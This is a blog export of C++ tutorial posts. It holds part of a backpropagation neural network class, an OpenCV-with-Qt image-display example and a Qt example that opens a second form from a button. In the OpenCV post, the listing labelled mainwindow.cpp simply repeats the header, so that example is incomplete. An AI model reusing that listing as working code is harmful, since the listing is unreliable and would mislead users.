<span style="font-family: "Courier New",Courier,monospace;"> for(int i=1;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delta[i]=new double[lsize[i]];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // allocate memory for weights</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> weight = new double**[numl];</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=1;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> weight[i]=new double*[lsize[i]];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=1;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> weight[i][j]=new double[lsize[i-1]+1];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // allocate memory for previous weights</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> prevDwt = new double**[numl];</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=1;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> prevDwt[i]=new double*[lsize[i]];</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=1;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> prevDwt[i][j]=new double[lsize[i-1]+1];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // seed and assign random weights</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> srand((unsigned)(time(NULL)));</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=1;i<numl;i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int k=0;k<lsize[i-1]+1;k++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> weight[i][j][k]=(double)(rand())/(RAND_MAX/2) - 1;//32767</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // initialize previous weights to 0 for first iteration</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=1;i<numl;i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int k=0;k<lsize[i-1]+1;k++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> prevDwt[i][j][k]=(double)0.0;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// Note that the following variables are unused,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">//</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// delta[0]</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// weight[0]</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// prevDwt[0]</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// I did this intentionaly to maintains consistancy in numbering the layers.</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// Since for a net having n layers, input layer is refered to as 0th layer,</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// first hidden layer as 1st layer and the nth layer as output layer. And </span><br />
<span style="font-family: "Courier New",Courier,monospace;">// first (0th) layer just stores the inputs hence there is no delta or weigth</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// values corresponding to it.</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">CBackProp::~CBackProp()</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> int i;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // free out</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=0;i<numl;i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] out[i];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] out;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // free delta</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=1;i<numl;i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] delta[i];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] delta;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // free weight</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=1;i<numl;i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] weight[i][j];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=1;i<numl;i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] weight[i];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] weight;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // free prevDwt</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=1;i<numl;i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] prevDwt[i][j];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=1;i<numl;i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] prevDwt[i];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] prevDwt;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // free layer info</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete[] lsize;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// sigmoid function</span><br />
<span style="font-family: "Courier New",Courier,monospace;">double CBackProp::sigmoid(double in)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> return (double)(1/(1+exp(-in)));</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// mean square error</span><br />
<span style="font-family: "Courier New",Courier,monospace;">double CBackProp::mse(double *tgt) const</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double mse=0;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int i=0;i<lsize[numl-1];i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> mse+=(tgt[i]-out[numl-1][i])*(tgt[i]-out[numl-1][i]);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> return mse/2;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// returns i'th output of the net</span><br />
<span style="font-family: "Courier New",Courier,monospace;">double CBackProp::Out(int i) const</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> return out[numl-1][i];</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// feed forward one set of input</span><br />
<span style="font-family: "Courier New",Courier,monospace;">void CBackProp::ffwd(double *in)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double sum;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> int i;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // assign content to input layer</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=0;i<lsize[0];i++)</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> out[0][i]=in[i]; // output_from_neuron(i,j) Jth neuron in Ith Layer</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // assign output(activation) value </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> // to each neuron usng sigmoid func</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=1;i<numl;i++){ // For each layer</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++){ // For each neuron in current layer</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> sum=0.0;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int k=0;k<lsize[i-1];k++){ // For input from each neuron in preceeding layer</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> sum+= out[i-1][k]*weight[i][j][k]; // Apply weight to inputs and add to sum</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> sum+=weight[i][j][lsize[i-1]]; // Apply bias</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> out[i][j]=sigmoid(sum); // Apply sigmoid function</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">// backpropogate errors from output</span><br />
<span style="font-family: "Courier New",Courier,monospace;">// layer uptill the first hidden layer</span><br />
<span style="font-family: "Courier New",Courier,monospace;">void CBackProp::bpgt(double *in,double *tgt)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> double sum;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> int i;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // update output values for each neuron</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ffwd(in);</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // find delta for output layer</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=0;i<lsize[numl-1];i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delta[numl-1][i]=out[numl-1][i]*</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> (1-out[numl-1][i])*(tgt[i]-out[numl-1][i]);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // find delta for hidden layers </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=numl-2;i>0;i--){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> sum=0.0;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int k=0;k<lsize[i+1];k++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> sum+=delta[i+1][k]*weight[i+1][k][j];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delta[i][j]=out[i][j]*(1-out[i][j])*sum;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // apply momentum ( does nothing if alpha=0 )</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=1;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int k=0;k<lsize[i-1];k++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> weight[i][j][k]+=alpha*prevDwt[i][j][k];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> weight[i][j][lsize[i-1]]+=alpha*prevDwt[i][j][lsize[i-1]];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"> // adjust weights usng steepest descent </span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(i=1;i<numl;i++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int j=0;j<lsize[i];j++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> for(int k=0;k<lsize[i-1];k++){</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> prevDwt[i][j][k]=beta*delta[i][j]*out[i-1][k];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> weight[i][j][k]+=prevDwt[i][j][k];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> prevDwt[i][j][lsize[i-1]]=beta*delta[i][j];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> weight[i][j][lsize[i-1]]+=prevDwt[i][j][lsize[i-1]];</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<br />
<a href="http://www.mediafire.com/?jr0lioepd3hcade" target="_blank">DOWNLOAD THE PROJECT (.zip)</a>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-27852667126887325092011-12-27T22:12:00.001+07:002013-03-20T07:55:45.353+07:00OpenCV with Qt C++ Examples (Showing Image)See <a href="http://hxr99.blogspot.com/2013/01/qt-opencv-displaying-images-and-convert.html">this post</a> if you want to convert the image in gray.<br />
1. Create a new Qt GUI Application project.<br />
2. Add a new Label and Push Button in the form.<br />
3. Do the rest with writing the program:<br />
<br />
main.cpp:<br />
<span style="font-family: "Courier New",Courier,monospace;">#include <QtGui/QApplication></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include "mainwindow.h"</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">int main(int argc, char *argv[])</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> QApplication a(argc, argv);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> MainWindow w;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> w.show();</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> return a.exec();</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<a name='more'></a><br />
<br />
mainwindow.h:<br />
<span style="font-family: "Courier New",Courier,monospace;">#ifndef MAINWINDOW_H</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#define MAINWINDOW_H</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">#include <QMainWindow></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <opencv/cv.h></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <opencv2/imgproc/imgproc.hpp></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <opencv/highgui.h></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <QFileDialog></span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">namespace Ui {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> class MainWindow;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">class MainWindow : public QMainWindow {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> Q_OBJECT</span><br />
<span style="font-family: "Courier New",Courier,monospace;">public:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> MainWindow(QWidget *parent = 0);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ~MainWindow();</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">protected:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void changeEvent(QEvent *e);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> QString FileOpName; //declare FileOpName as IplImage</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> IplImage* imagerd; //declare imagerd as IplImage</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">private slots:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void on_pushButton_clicked();</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void openImage(); //add a new openImage function to the project</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">private:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> Ui::MainWindow *ui;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">};</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">#endif // MAINWINDOW_H</span><br />
<br />
<br style="font-family: "Courier New",Courier,monospace;" />
<br />
mainwindow.cpp:<br />
<span style="font-family: "Courier New",Courier,monospace;">#ifndef MAINWINDOW_H</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#define MAINWINDOW_H</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">#include <QMainWindow></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <opencv/cv.h></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <opencv2/imgproc/imgproc.hpp></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <opencv/highgui.h></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include <QFileDialog></span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">namespace Ui {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> class MainWindow;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">class MainWindow : public QMainWindow {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> Q_OBJECT</span><br />
<span style="font-family: "Courier New",Courier,monospace;">public:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> MainWindow(QWidget *parent = 0);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ~MainWindow();</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">protected:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void changeEvent(QEvent *e);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> QString FileOpName; //declare FileOpName as IplImage</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> IplImage* imagerd; //declare imagerd as IplImage</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">private slots:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void on_pushButton_clicked();</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void openImage(); //add a new openImage function to the project</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">private:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> Ui::MainWindow *ui;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">};</span><br />
<br style="font-family: "Courier New",Courier,monospace;" />
<span style="font-family: "Courier New",Courier,monospace;">#endif // MAINWINDOW_H</span><br />
---------------------------------------OR-------------------------------------------------<br />
<a href="http://www.mediafire.com/?her35h76n9oe44w" target="_blank">DOWNLOAD THE PROJECT (.zip)</a>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com8tag:blogger.com,1999:blog-5921365435249055889.post-54570564758439783482011-12-27T22:11:00.001+07:002013-03-20T07:55:06.191+07:00How to Call .ui Design Form with The PushButton.clicked event in Qt C++ with Example?1. Create a new Qt GUI Application project.<br />
2. Right Click the Forms folder in the current project, then choose “Add New...”.<br />
3. Choose the Qt Designer Form Class<br />
4. Choose the window template<br />
5. Name the form and locate the folder where it will be saved<br />
6. Finish.<br />
7. Now do the rest:<br />
<br />
main.cpp:<br />
<span style="font-family: "Courier New",Courier,monospace;">#include <QtGui/QApplication></span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include "mainwindow.h"</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">int main(int argc, char *argv[])</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> QApplication a(argc, argv);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> MainWindow w;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> w.show();</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> return a.exec();</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<br />
<a name='more'></a><br />
mainwindow.h:<br />
<span style="font-family: "Courier New",Courier,monospace;">#ifndef MAINWINDOW_H</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#define MAINWINDOW_H</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#include <QMainWindow></span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#include <aboutme.h> //add the include .h file of your form</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">namespace Ui {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> class MainWindow;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">class MainWindow : public QMainWindow {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> Q_OBJECT</span><br />
<span style="font-family: "Courier New",Courier,monospace;">public:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> MainWindow(QWidget *parent = 0);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ~MainWindow();</span><br />
<span style="font-family: "Courier New",Courier,monospace;">public slots:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void openAbout(); //make a new function to call the window</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">protected:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void changeEvent(QEvent *e);</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">private:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> Ui::MainWindow *ui;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> AboutMe *winAbout; //make a new declaration for the new window</span><br />
<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">private slots:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void on_pushButton_2_clicked();</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void on_pushButton_clicked();</span><br />
<span style="font-family: "Courier New",Courier,monospace;">};</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#endif // MAINWINDOW_H</span><br />
<br />
<br />
mainwindow.cpp:<br />
<span style="font-family: "Courier New",Courier,monospace;">#include "mainwindow.h"</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include "ui_mainwindow.h"</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">MainWindow::MainWindow(QWidget *parent) :</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> QMainWindow(parent),</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ui(new Ui::MainWindow)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ui->setupUi(this);</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">MainWindow::~MainWindow()</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete ui;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<span style="font-family: "Courier New",Courier,monospace;">void MainWindow::openAbout()</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> winAbout = new AboutMe(this);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> winAbout->show();</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">void MainWindow::changeEvent(QEvent *e)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> QMainWindow::changeEvent(e);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> switch (e->type()) {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> case QEvent::LanguageChange:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ui->retranslateUi(this);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> break;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> default:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> break;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">void MainWindow::on_pushButton_clicked()</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> openAbout();</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">void MainWindow::on_pushButton_2_clicked()</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> exit(1);</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<br />
aboutme.h:<br />
<span style="font-family: "Courier New",Courier,monospace;">#ifndef ABOUTME_H</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#define ABOUTME_H</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#include <QMainWindow></span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">namespace Ui {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> class AboutMe;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">class AboutMe : public QMainWindow {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> Q_OBJECT</span><br />
<span style="font-family: "Courier New",Courier,monospace;">public:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> AboutMe(QWidget *parent = 0);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ~AboutMe();</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">protected:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void changeEvent(QEvent *e);</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">private:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> Ui::AboutMe *ui;</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">private slots:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> void on_pushButton_clicked();</span><br />
<span style="font-family: "Courier New",Courier,monospace;">};</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">#endif // ABOUTME_H</span><br />
<br />
aboutme.cpp:<br />
<span style="font-family: "Courier New",Courier,monospace;">#include "aboutme.h"</span><br />
<span style="font-family: "Courier New",Courier,monospace;">#include "ui_aboutme.h"</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">AboutMe::AboutMe(QWidget *parent) :</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> QMainWindow(parent),</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ui(new Ui::AboutMe)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ui->setupUi(this);</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">AboutMe::~AboutMe()</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> delete ui;</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">void AboutMe::changeEvent(QEvent *e)</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> QMainWindow::changeEvent(e);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> switch (e->type()) {</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> case QEvent::LanguageChange:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> ui->retranslateUi(this);</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> break;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> default:</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> break;</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> }</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">void AboutMe::on_pushButton_clicked()</span><br />
<span style="font-family: "Courier New",Courier,monospace;">{</span><br />
<span style="font-family: "Courier New",Courier,monospace;"> close();</span><br />
<span style="font-family: "Courier New",Courier,monospace;">}</span><br />
<br />
